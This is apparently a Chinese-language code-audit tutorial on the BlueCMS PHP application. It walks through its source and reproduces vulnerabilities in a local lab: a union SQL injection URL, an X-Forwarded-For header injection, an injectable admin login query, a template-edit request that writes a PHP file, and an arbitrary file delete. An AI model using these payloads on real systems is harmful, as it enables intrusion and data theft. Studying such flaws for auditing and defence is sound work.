通过 BlueCMS 学习 php 代码审计

php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战

require_once('include/common.inc.php');require_once(BLUE_ROOT.'include/index.fun.php');// 获取新闻栏目、新闻分类列表、网站公告等数据……// 利用smarty模板引擎显示页面$smarty->display('index.htm');

// 加载一些基础文件require_once (BLUE_ROOT.'include/common.fun.php');require_once(BLUE_ROOT.'include/cat.fun.php');
// 外部数据过滤if(!get_magic_quotes_gpc()){    $_POST = deep_addslashes($_POST);    $_GET = deep_addslashes($_GET);    $_COOKIES = deep_addslashes($_COOKIES);    $_REQUEST = deep_addslashes($_REQUEST);}
// 数据库链接require_once(BLUE_ROOT.'include/mysql.class.php');$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// Smarty模板对象就是这引入的require(BLUE_ROOT.'include/smarty/Smarty.class.php');$smarty = new Smarty();
// 用户ip处理$banned_ip = get_bannedip();if (@in_array($online_ip, $banned_ip)){    showmsg('对不起，您的IP已被禁止，有问题请联系管理员!');}

// include/common.fun.php 14-28:function deep_addslashes($str){    if(is_array($str))    {        foreach($str as $key=>$val)        {            $str[$key] = deep_addslashes($val);        }    }    else    {        $str = addslashes($str);    }    return $str;}

class mysql {        var $linkid=null;    function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {        $this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);    }    function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){        $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';        if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){            $this->dbshow('Can not connect to Mysql!');        } else {            if($this->dbversion() > '4.1'){                mysql_query( "SET NAMES gbk");            }        }    }      // mysql_query()封装执行sql语句的方法      function query($sql){        if(!$query=@mysql_query($sql, $this->linkid)){            $this->dbshow("Query error:$sql");        }else{            return $query;        }    }      //    getone() 封装查询数据的方法      function getone($sql, $type=MYSQL_ASSOC){        $query = $this->query($sql,$this->linkid);        $row = mysql_fetch_array($query, $type);        return $row;    }  ……}

index.php 剩下内容主要用于显示后台的页面require_once(dirname(__FILE__) . "/include/common.inc.php");$act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';if($act==''){  // 显示后台页面  $smarty->display('index.htm');}elseif($act=='top'){    // 显示顶部    $smarty->display('top.htm');}elseif($act=='menu'){  // 显示菜单  $smarty->display('menu.htm');}elseif($act == 'main'){  // 显示主体页面  $smarty->display('main.htm');}

<frameset rows="76,*" frameborder="no" border="0" framespacing="0" >        <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>        <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0"  >            <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>            <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>        </frameset></frameset>

// 加载一些基础文件require_once(……)// 外部数据过滤deep_addslashes()// 数据库链接require_once(BLUE_ROOT.'include/mysql.class.php');$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);// 加载smarty模板引擎require(BLUE_ROOT.'include/smarty/Smarty.class.php');$smarty = new Smarty();// 管理员身份认证if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){    if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){        if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){          update_admin_info($_COOKIE['Blue']['admin_name']);        }    }else{        setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);        setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);        setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);        echo '<script type="text/javascript">top.location="login.php?act=login";</script>';        exit();    }}elseif($_SESSION['admin_id']){     update_admin_info($_SESSION['admin_name']);}

require_once dirname(__FILE__) . '/include/common.inc.php';$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);if($ad['time_set'] == 0){    $ad_content = $ad['content'];}echo "<!--rndocument.write("".$ad_content."");rn-->rn";复现漏洞时我是想利用报错注入快一点，但没有成功，奇怪，下面用union注入复现：http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+

require dirname(__FILE__) . '/include/common.inc.php';if ($act == 'list'){  ……}elseif($act == 'send'){  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)             VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";    $db->query($sql);}

function getip(){    if (getenv('HTTP_CLIENT_IP'))    {        $ip = getenv('HTTP_CLIENT_IP');     }    elseif (getenv('HTTP_X_FORWARDED_FOR'))     {        $ip = getenv('HTTP_X_FORWARDED_FOR');    }    ……  else    {         $ip = $_SERVER['REMOTE_ADDR'];    }  return $ip;}

POST /guest_book.php HTTP/1.1Host: bluecms:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX_FORWARDED_FOR: 192.168.44.1',user())#Connection: closeCookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9Upgrade-Insecure-Requests: 1Content-Length: 37
content=hello&act=send&page_id=1&rid=

require_once(dirname(__FILE__) . '/include/common.inc.php');if($act == 'login'){  if($_SESSION['admin_id']){         showmsg('您已登录，不用再次登录', 'index.php');     }  ……}elseif($act == 'do_login'){  $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';    $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';    if(check_admin($admin_name, $admin_pwd)){         update_admin_info($admin_name);         if($remember == 1){             setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);             setcookie('Blue[admin_name]', $admin_name, time()+86400);            setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);         }     }else{         showmsg('您输入的用户名和密码有误');     }}

function check_admin($name, $pwd){    global $db;    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");     if($row['num'] > 0)     {         return true;     }     else     {         return false;     }}

require_once(dirname(__FILE__).'/include/common.inc.php');$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';if($act == 'list'){  $dir = BLUE_ROOT.'templates/default';  // 列出$dir下的文件    ……}elseif($act == 'edit'){  $file = $_GET['tpl_name'];    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){        showmsg('打开目标模板文件失败');    }    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);    fclose($handle);    $tpl['name'] = $file;    template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));    $smarty->display('tpl_info.htm');}elseif($act == 'do_edit'){    $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';     $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';     if(empty($tpl_name)){         return false;     }     $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;     if(!$handle = @fopen($tpl, 'wb')){        showmsg("打开目标模版文件 $tpl 失败");     }     if(fwrite($handle, $tpl_content) === false){         showmsg('写入目标 $tpl 失败');     }     fclose($handle);     showmsg('编辑模板成功', 'tpl_manage.php');}

function deep_stripslashes($str){     if(is_array($str))     {         foreach($str as $key => $val)         {             $str[$key] = deep_stripslashes($val);         }     }     else     {         $str = stripslashes($str);     }     return $str;}

POST /admin/tpl_manage.php HTTP/1.1Host: bluecms.test:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 59Origin: http://bluecms.test:8888Connection: closeReferer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htmCookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77Upgrade-Insecure-Requests: 1
tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit

elseif ($act == 'del_pic') {    $id = $_REQUEST['id'];    $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");    if (file_exists(BLUE_ROOT . $id)) {        @unlink(BLUE_ROOT . $id);    }